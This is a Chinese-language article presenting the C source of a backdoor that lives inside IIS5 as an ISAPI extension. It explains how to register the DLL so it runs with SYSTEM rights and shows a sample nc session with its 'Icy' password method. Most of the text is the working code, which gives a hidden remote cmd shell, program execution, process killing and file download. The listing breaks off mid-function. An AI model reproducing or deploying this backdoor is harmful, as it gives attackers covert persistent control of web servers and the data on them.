IIS5 ISAPI Extension Back DoorOur Team: http://www.ph4nt0m.orgAuthor: 云舒([email protected])====================================================
感谢与参考 1.在获取shell的时候格式很难看，envymask告诉我是网络延迟的原因，得以解决，感谢！ 2.参考《绿盟安全月刊》第37期的技术专题里面的第五章《Exploit Microsoft INTERNET INFORMATION SERVER》，地址为http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1662 3.参考MSDN函数库
一.前言二.申明三.实现四.参考一.前言 最近的sql injection攻击很流行，一般的解决方法是使用通用的防注入函数来保护程序不受威胁。但是有写些序作者经常忘记包含通用函数，导致没有效果。前些日子研究彻底防止SQL Injection攻击时，看了些IIS5的ISAPI Filter文档，决定利用IIS提供的API接口做个东西，这样可以很好的防止sql injection攻击。 凑巧发现，这样依附在IIS上面的扩展模块，还可以作为别的用处，比如作为一个后门程序。这样进程的隐藏，端口的隐藏，服务的隐藏问题都不需要解决，由IIS包办了。作为后门，为了隐蔽性，我选择了ISAPI Extension接口。前后大约一个多星期，做出了一个这样的东西，还不知道叫什么名字好。二.申明 1.代码里面有些特殊字符，因为我忘记不了她，请自己修改。 2.代码可以随意转载，但是请保证文档完整，并不得用于商业用途。 3.代码可以随意修改，但是如果能够给我一份，将不胜感激。 4.代码我只是演示这种后门的危害，用做任何用途均与我无关。三.实现 1.解析 鉴于隐蔽性，我没有选择ISAPI Filter，而是选择了ISAPI Extension方式。ISAPI Extension是IIS的功能扩展模块，它能独立支持某一项特殊的HTTP请求，系统默认支持的asp脚本由%SystemRoot%\system32\inetsrv\inetsrv\asp.dll解析。自己实现一个动态连接库，就可以实现自己特殊的功能，例如php就是利用自己带的dll文件来解析php文件的。IIS先获取请求文件的扩展名，再根据配置的应用程序映射，交由特定的dll处理。 2.权限 IIS5的配置都保存在%SystemRoot%\system32\inetsrv\MetaBase.bin文件中，它有两个主键：LM和Schema。LM主键下面有W3SVC/InProcessIsapiApps键，这是一个数组，里面包含的是一组指向一些ISAPI的路径。在这个数组里面的ISAPI运行的时候都是由inetinfo.exe直接启动的，继承inetinfo.exe的local system权限；而不在其中的ISAPI则是由svchost.exe派生的dllhost.exe进程启动的，运行的身份是IWAM_NAME，权限极低。这里，我们可以使用iis的脚本adsutil.vbs将我们的dll加到数组当中，命令为adsutil.vbs set w3svc/inprocessisapiapps Dll Path。更好的办法是替换掉printer扩展的映射，此映射由%systemroot%\msw3prt.dll来解析，而且这个dll文件默认存在于W3SVC/InProcessIsapiApps键中。这也就是2000年.printer溢出得到system权 限的原因。 3.导出 根据MSDN描述，ISAPI Extension需要导出三个函数，GetExtensionVersion，TerminateExtension以及HttpExtensionProc 4.功能 首先，密码功能肯定是需要的，这里我将标准的HTTP协议扩充出一个Icy方法，如果客户端使用此方法请求注册的映射，则认证成功，否则不予理睬。这里，你也可以修改代码，使用HTTP协议的其他部分做认证，比如Accept字段。 其次，后门主要是获取一个shell，但是某些服务器可能设置了禁止system访问cmd，因此，我还提供了下载功能，这样可以下载一个cmd，然后通过shell CustomerCmd运行，得到shell执行命令。最后就是列举进程和查杀进程了。 在虚拟机上测试，我注册了扩展名为yunshu交由此dll解析。使用nc连接，发送自己扩展的http协议，屏幕copy如下： C:\>nc -vv 192.168.10.250 80 Warning: forward host lookup failed for Icy.missyou.com: h_errno 11004:NO_DATA Icy.missyou.com [192.168.10.250] 80 (http) open: unknown socket error Icy /test.yunshu HTTP/1.0 HOST: 192.168.10.250 Can you tell me how to forget some one? Code by 云舒 Our team:www.ph4nt0m.org Icy>help Now,Support these command: pslist--------------List Process Information kill PID------------Kill The Process exec Program--------Run A Program shell ShellPath-----Get A System Shell,Normal shell cmd.exe down URL------------DownLoad A File exit----------------Exit Icy> 5.代码// ISAPI EXTENSION BACK DOOR// Code by 云舒// Thx EnvyMask// 修改2005-08-14凌晨// 最后2005-08-16// Compiled On: Windows Server2003,VC 6.0 #include <stdio.h>#include <string.h>#include <windows.h>#include <tlhelp32.h>#include <httpext.h>#include <UrlMon.h>#pragma comment(lib, "urlmon.lib")#define DEBUG#define LOGPATH "c:\ISAPI_LOG.txt"//后门密码#define PASSWORD "Icy"//标识符#define FLAG "Icy>"//缓冲区大小#define BUFFSIZE 1024 * 4#define ARGSIZE 1024typedef struct workArg{ EXTENSION_CONTROL_BLOCK *pECB; char arg[ARGSIZE];}WORKARG;//定义函数原形BOOL StartWith( char * , char * ); //判断第一个字符串是否以第二个字符串开头 void SwitchCmd( EXTENSION_CONTROL_BLOCK * , char * ); //根据输入的命令来选择执行的功能void PsList( EXTENSION_CONTROL_BLOCK * ); //列举进程void Kill( LPVOID ); //杀进程void Shell( LPVOID ); //获取一个shellvoid ExecProgram( LPVOID ); //运行一个程序void Help( EXTENSION_CONTROL_BLOCK * ); //输出帮助void DownLoad( LPVOID ); //下载文件BOOL SendToClient( EXTENSION_CONTROL_BLOCK * , char * ); //发送数据到客户端void LogStrToFile( char * ); //记录字符错误信息到日志void LogIntToFile( int ); //记录整数信息到日志//DLL入口BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ return TRUE;}//版本信息BOOL WINAPI GetExtensionVersion(HSE_VERSION_INFO *pVer){ pVer->dwExtensionVersion = MAKELONG(HSE_VERSION_MINOR,HSE_VERSION_MAJOR); strcpy( pVer->lpszExtensionDesc, "What_Can_I_Do?" ); return TRUE;}BOOL WINAPI TerminateExtension( DWORD dwFlags ){ return TRUE;}DWORD WINAPI HttpExtensionProc(EXTENSION_CONTROL_BLOCK * pECB){ char buff[BUFFSIZE] = { 0 }; char *err = "Error...\n"; char *helo = "Can you tell me how to forget some one?\nCode by 云舒\nOur team:www.ph4nt0m.org\n\n"; DWORD dwBytes = 64; //获取客户端密码，连接到web服务器，发送请求,请求方式为密码 pECB->GetServerVariable( pECB->ConnID , "REQUEST_METHOD" , buff , &dwBytes ); if ( strncmp( buff , PASSWORD , strlen(PASSWORD) ) != 0 ) { SendToClient( pECB , err ); return HSE_STATUS_SUCCESS; } #ifdef DEBUG LogStrToFile( "-------------------------------\n" ); LogStrToFile( "客户端成功登陆\n" ); #endif SendToClient( pECB , helo ); SendToClient( pECB , FLAG ); while(TRUE) { ZeroMemory( buff , BUFFSIZE ); dwBytes = BUFFSIZE; while( buff[0] == '' )//判断是否是空串 { Sleep(1000); pECB->ReadClient( pECB->ConnID , buff , &dwBytes ); } if( strcmp( buff , "exit\n" ) == 0 ) { SendToClient( pECB , "ByeBye...\n" ); break; } SwitchCmd( pECB , buff ); } return HSE_STATUS_SUCCESS;}void SwitchCmd( EXTENSION_CONTROL_BLOCK *pECB , char *buff ){ WORKARG workArg; HANDLE hThread = NULL; DWORD threadID = 0; //SendToClient( pECB , "客户端命令: " ); //SendToClient( pECB , buff ); #ifdef DEBUG LogStrToFile( "客户端命令: " ); LogStrToFile( buff ); #endif //去掉命令里面的回车符 *(strchr( buff , '\n' )) = ''; //参数不能超过ARGSIZE if( strlen( buff 5 ) >= ARGSIZE ) { SendToClient( pECB , "Arguments is too long...\n" ); SendToClient( pECB , FLAG ); return; } //将要传递给新线程的参数清空 ZeroMemory( workArg.arg , sizeof(workArg.arg) ); //如果是pslist命令，列举进程 if( StartWith(buff , "pslist") ) { hThread = CreateThread( NULL , 0 , (LPTHREAD_START_ROUTINE)PsList , (LPVOID)pECB , 0 , &threadID ); if( hThread == NULL ) { #ifdef DEBUG LogStrToFile( "创建线程列举进程失败,错误码: " ); LogIntToFile( GetLastError( ) ); LogStrToFile( "\n" ); #endif SendToClient( pECB , "List process error...\n" ); SendToClient( pECB , FLAG ); return; } WaitForSingleObject( hThread , 6000 ); CloseHandle( hThread ); SendToClient( pECB , FLAG ); return; } //kill命令，杀进程 else if( StartWith(buff , "kill") ) { //如果没有参数 if( *( buff 5 ) == '' ) { SendToClient( pECB , "Usage:kill pid\n" ); SendToClient( pECB , FLAG ); return; } workArg.pECB = pECB; strcpy( workArg.arg , buff 5 ); hThread = CreateThread( NULL , 0 , (LPTHREAD_START_ROUTINE)Kill , (LPVOID)&workArg , 0 , &threadID ); if( hThread == NULL ) { #ifdef DEBUG LogStrToFile( "创建线程杀进程失败,错误码: " ); LogIntToFile( GetLastError( ) ); LogStrToFile( "\n" ); #endif SendToClient( pECB , "Kill process error...\n" ); SendToClient( pECB , FLAG ); return; } WaitForSingleObject( hThread , 5000 ); CloseHandle( hThread ); SendToClient( pECB , FLAG ); return; } //shell命令，运行一个cmd获取shell，为防止主机设置权限，需指明cmd路径 else if( StartWith(buff , "shell") ) { //如果没有参数 if( *( buff 6 ) == '' ) { SendToClient( pECB , "Usage:shell ShellPath\n" ); SendToClient( pECB , FLAG ); return; } workArg.pECB = pECB; strcpy( workArg.arg , buff 6 ); hThread = CreateThread( NULL , 0 , (LPTHREAD_START_ROUTINE)Shell , (LPVOID)&workArg , 0 , &threadID ); if( hThread == NULL ) { #ifdef DEBUG LogStrToFile( "创建线程执行shell失败,错误码: " ); LogIntToFile( GetLastError( ) ); LogStrToFile( "\n" ); #endif SendToClient( pECB , "Get shell error...\n" ); SendToClient( pECB , FLAG ); return; } WaitForSingleObject( hThread , INFINITE ); CloseHandle( hThread ); return; } else if( StartWith(buff , "exec") ) { //如果没有参数 if( *( buff 5 ) == '' ) { SendToClient( pECB , "Usage:shell ShellPath\n" ); SendToClient( pECB , FLAG ); return; } workArg.pECB = pECB; strcpy( workArg.arg , buff 5 ); hThread = CreateThread( NULL , 0 , (LPTHREAD_START_ROUTINE)ExecProgram , (LPVOID)&workArg , 0 , &threadID ); if( hThread == NULL ) { #ifdef DEBUG LogStrToFile( "创建线程运行程序失败,错误码: " ); LogIntToFile( GetLastError( ) ); LogStrToFile( "\n" ); #endif SendToClient( pECB , "Execute program error...\n" ); SendToClient( pECB , FLAG ); return; } WaitForSingleObject( hThread , 10000 ); CloseHandle( hThread ); return; } //down命令，利用http协议下载文件 else if( StartWith(buff , "down") ) { //如果没有参数 if( *( buff 5 ) == '' ) { SendToClient( pECB , "Usage:down http://www.example.com/test.exe\n" ); SendToClient( pECB , FLAG ); return; } workArg.pECB = pECB; strcpy( workArg.arg , buff 5 ); hThread = CreateThread( NULL , 0 , (LPTHREAD_START_ROUTINE)DownLoad , (LPVOID)&workArg , 0 , &threadID ); if( hThread == NULL ) { #ifdef DEBUG LogStrToFile( "创建线程下载文件失败,错误码: " ); LogIntToFile( GetLastError( ) ); LogStrToFile( "\n" ); #endif SendToClient( pECB , "Download file error...\n" ); SendToClient( pECB , FLAG ); return; } WaitForSingleObject( hThread , INFINITE ); CloseHandle( hThread ); SendToClient( pECB , FLAG ); return; } //命令不正确，输出帮助 else { hThread = CreateThread( NULL , 0 , (LPTHREAD_START_ROUTINE)Help , (LPVOID)pECB , 0 , &threadID ); if( hThread == NULL ) { #ifdef DEBUG LogStrToFile( "创建线程输出帮助信息失败,错误码: " ); LogIntToFile( GetLastError( ) ); LogStrToFile( "\n" ); #endif SendToClient( pECB , "Print help error...\n" ); SendToClient( pECB , FLAG ); return; } WaitForSingleObject( hThread , 5000 ); CloseHandle( hThread ); SendToClient( pECB , FLAG ); return; }}//判断字符串buf1是否以buf2开头，是返回真BOOL StartWith( char *buf1, char *buf2 ){ int len = strlen(buf2); if( memcmp( buf1,buf2,len) == 0) { return TRUE; } return FALSE;}//运行shellvoid Shell( LPVOID arg ){ WORKARG *workArg = (WORKARG *)arg; SECURITY_ATTRIBUTES sa; HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2; STARTUPINFO si; PROCESS_INFORMATION procInfo; char cmdLine[ARGSIZE] = { 0 }; char buff[BUFFSIZE] = { 0 }; int ret = 0; unsigned long dwBytes = 0; int index = 0; EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB; strcpy( cmdLine , workArg->arg ); if( cmdLine[0] == '' ) { #ifdef DEBUG LogStrToFile( "执行shell时，没有要输入要运行的shell路径\n" ); #endif SendToClient( pECB , "No shell to run...\n" ); SendToClient( pECB , FLAG ); return; } #ifdef DEBUG LogStrToFile( "要运行的程序: " ); LogStrToFile( workArg->arg ); LogStrToFile( "\n" ); #endif //安全选项 sa.nLength = sizeof( sa ); sa.lpSecurityDescriptor = 0; sa.bInheritHandle = TRUE; //初始化管道 if( !CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0) ) { #ifdef DEBUG LogStrToFile( "建立管道失败: " ); LogIntToFile( GetLastError() ); LogStrToFile( "\n" ); #endif SendToClient( pECB , "Create pipi error...\n" ); SendToClient( pECB , FLAG ); return; } if( !CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0) ) { #ifdef DEBUG LogStrToFile( "建立管道失败: " ); LogIntToFile( GetLastError() ); LogStrToFile( "\n" ); #endif SendToClient( pECB , "Create pipi error...\n" ); SendToClient( pECB , FLAG ); return; } ZeroMemory( &si , sizeof(STARTUPINFO) ); GetStartupInfo( &si ); si.cb = sizeof( si ); si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.wShowWindow = SW_HIDE; si.hStdInput = hReadPipe2; si.hStdOutput = si.hStdError = hWritePipe1; ZeroMemory( &procInfo , sizeof(PROCESS_INFORMATION) ); ret = CreateProcess( NULL , cmdLine , NULL , NULL , 1 , 0 , NULL , NULL , &si , &procInfo ); if( !ret ) { #ifdef DEBUG LogStrToFile( "建立进程失败...\n" ); LogIntToFile( GetLastError() ); #endif SendToClient( pECB , "Create process error...\n" ); SendToClient( pECB , FLAG ); return; } while(1) { memset( buff , 0 , BUFFSIZE ); ret=PeekNamedPipe( hReadPipe1 , buff , BUFFSIZE , &dwBytes , NULL , NULL ); //尝试5次读取管道，防止延迟发生错误 for( index = 0; index < 5 && dwBytes == 0; index ) { Sleep(100); ret = PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&dwBytes,NULL,NULL); } //获取输出信息，输出到客户端 if(dwBytes) { ret = ReadFile( hReadPipe1,buff,dwBytes,&dwBytes,0 ); if( !ret ) { #ifdef DEBUG LogStrToFile( "读取输出失败: " ); LogIntToFile( GetLastError() ); LogStrToFile( "\n" ); #endif break; } #ifdef DEBUG LogStrToFile( buff ); #endif ret = SendToClient( pECB , buff ); if( ret<=0 ) { #ifdef DEBUG LogStrToFile( "发送输出失败:" ); LogIntToFile( GetLastError() ); LogStrToFile( "\n" ); #endif break; } } //从客户端获取命令 else { //客户端无输入则循环读取 while( buff[0] == '' ) { Sleep(100); dwBytes = BUFFSIZE; pECB->ReadClient( pECB->ConnID , buff , &dwBytes ); } #ifdef DEBUG LogStrToFile( "读到客户命令了，内容是: " ); LogStrToFile( buff ); #endif //如果是exit命令，退出连接 if( strcmp( buff , "exit\n" ) == 0 ) { SendToClient( pECB , "ByeBye~!\n" ); break; } ret = WriteFile( hWritePipe2 , buff , dwBytes , &dwBytes , 0 ); if( !ret ) { #ifdef DEBUG LogStrToFile( "把命令发送到shell失败\n" ); LogIntToFile( GetLastError() ); LogStrToFile( "\n" ); #endif break; } } } CloseHandle(hReadPipe1); CloseHandle(hReadPipe2); CloseHandle(hWritePipe1); CloseHandle(hWritePipe2); TerminateProcess( procInfo.hProcess , 0 ); return;}//运行一个程序void ExecProgram( LPVOID arg ){ WORKARG *workArg = (WORKARG *)arg; SECURITY_ATTRIBUTES sa; HANDLE hReadPipe1 = NULL; HANDLE hWritePipe1 = NULL; STARTUPINFO si; PROCESS_INFORMATION procInfo; char cmdLine[ARGSIZE] = { 0 }; char buff[BUFFSIZE] = { 0 }; int ret = 0; unsigned long dwBytes = 0; EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB; strcpy( cmdLine , workArg->arg ); if( cmdLine[0] == '' ) { #ifdef DEBUG LogStrToFile( "执行程序时，没有要输入要运行的程序\n" ); #endif SendToClient( pECB , "No program to run...\n" ); SendToClient( pECB , FLAG ); return; } #ifdef DEBUG LogStrToFile( "要运行的程序: " ); LogStrToFile( workArg->arg ); LogStrToFile( "\n" ); #endif //安全选项 sa.nLength = sizeof( sa ); sa.lpSecurityDescriptor = 0; sa.bInheritHandle = TRUE; //初始化管道 if( !CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0) ) { #ifdef DEBUG LogStrToFile( "建立管道失败: " ); LogIntToFile( GetLastError() ); LogStrToFile( "\n" ); #endif SendToClient( pECB , "Create pipi error...\n" ); SendToClient( pECB , FLAG ); return; } ZeroMemory( &si , sizeof(STARTUPINFO) ); GetStartupInfo( &si ); si.cb = sizeof( si ); si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.wShowWindow = SW_HIDE; si.hStdOutput = si.hStdError = hWritePipe1; ZeroMemory( &procInfo , sizeof(PROCESS_INFORMATION) ); ret = CreateProcess( NULL , cmdLine , NULL , NULL , 1 , 0 , NULL , NULL , &si , &procInfo ); if( !ret ) { #ifdef DEBUG LogStrToFile( "建立进程失败...\n" ); LogIntToFile( GetLastError() ); #endif SendToClient( pECB , "Create process error...\n" ); SendToClient( pECB , FLAG ); return; } memset( buff , 0 , BUFFSIZE ); //读取程序输出 while( dwBytes == 0 ) { Sleep(200); ret = PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&dwBytes,NULL,NULL); } ret = ReadFile( hReadPipe1,buff,dwBytes,&dwBytes,0 ); if( !ret ) { #ifdef DEBUG LogStrToFile( "读取输出失败: " ); LogIntToFile( GetLastError() ); LogStrToFile( "\n" ); #endif } #ifdef DEBUG LogStrToFile( buff ); #endif ret = SendToClient( pECB , buff ); if( ret<=0 ) { #ifdef DEBUG LogStrToFile( "发送输出失败:" ); LogIntToFile( GetLastError() ); LogStrToFile( "\n" ); #endif } CloseHandle(hReadPipe1); CloseHandle(hWritePipe1); TerminateProcess( procInfo.hProcess , 0 ); return;}void PsList( EXTENSION_CONTROL_BLOCK *pECB ){ HANDLE hProcessSnap = NULL; HANDLE hProcess = NULL; PROCESSENTRY32 pe32; char psBuff[BUFFSIZE] = { 0 }; SendToClient( pECB , "Process Information List 0.1\n\n" ); /* SendToClient( pECB , "Code by 云舒([email protected])\n" ); SendToClient( pECB , "www.ph4nt0m.org www.icylife.net\n" ); */ hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); if( hProcessSnap == INVALID_HANDLE_VALUE ) { #ifdef DEBUG LogStrToFile( "Call CreateToolhelp32Snapshot error" ); LogIntToFile( GetLastError() ); #endif SendToClient( pECB , "List process information error...\n" ); return; } pe32.dwSize = sizeof( PROCESSENTRY32 ); if( !Process32First( hProcessSnap, &pe32 ) ) { #ifdef DEBUG LogStrToFile( "Call Process32First error" ); LogIntToFile( GetLastError() ); #endif SendToClient( pECB , "List process information error...\n" ); SendToClient( pECB , FLAG ); CloseHandle( hProcessSnap ); return; } SendToClient( pECB , "PID\t\tProcessName\n" ); do { ZeroMemory( psBuff , sizeof(psBuff) ); sprintf( psBuff , "%d\t\t%s\n", pe32.th32ProcessID , pe32.szExeFile ); SendToClient( pECB , psBuff ); } while( Process32Next( hProcessSnap, &pe32 ) ); return;}void Kill( LPVOID arg ){ WORKARG *workArg = (WORKARG *)arg; HANDLE hProcess = NULL; DWORD pID; EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB; HANDLE hToken; LUID sedebugnameValue; TOKEN_PRIVILEGES tkp; pID = atoi( workArg->arg ); if ( !OpenProcessToken( GetCurrentProcess() , TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY , &hToken ) ) { #ifdef DEBUG LogStrToFile( "Call OpenProcessToken error" ); LogIntToFile( GetLastError() ); #endif SendToClient( pECB , "Kill process error...\n" ); return; } if ( !LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) ) { #ifdef DEBUG LogStrToFile( "Call LookupPrivilegeValue error" ); LogIntToFile( GetLastError() ); #endif SendToClient( pECB , "Kill process error...\n" ); return; } tkp.PrivilegeCount = 1; tkp.Privileges[0].Luid = sedebugnameValue; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL ); CloseHandle( hToken ); hProcess = OpenProcess( PROCESS_TERMINATE , FALSE , pID ); if( hProcess ==INVALID_HANDLE_VALUE || hProcess == NULL ) { #ifdef DEBUG LogStrToFile( "Call OpenProcess error" ); LogIntToFile( GetLastError() ); #endif SendToClient( pECB , "Kill process error...\n" ); CloseHandle( hToken ); CloseHandle( hProcess ); return; } if ( !TerminateProcess( hProcess, (DWORD) -1 ) ) { #ifdef DEBUG LogStrToFile( "Call TerminateProcess error" ); LogIntToFile( GetLastError() ); #endif SendToClient( pECB , "Kill process error...\n" ); CloseHandle( hToken ); CloseHandle( hProcess ); return; } SendToClient( pECB , "killed ok\n" ); CloseHandle( hToken ); CloseHandle( hProcess ); return;}void DownLoad( LPVOID arg ){ WORKARG *workArg = (WORKARG *)arg; char fileName[64] = { 0 };//保存的文件名 char fullPath[256] = { 0 };//保存的完整地址 char url[ARGSIZE] = { 0 };//下载的URL char seps[] = "/";//分割字符 char *token; int ret = 0; EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;; strcpy( url , workArg->arg );<br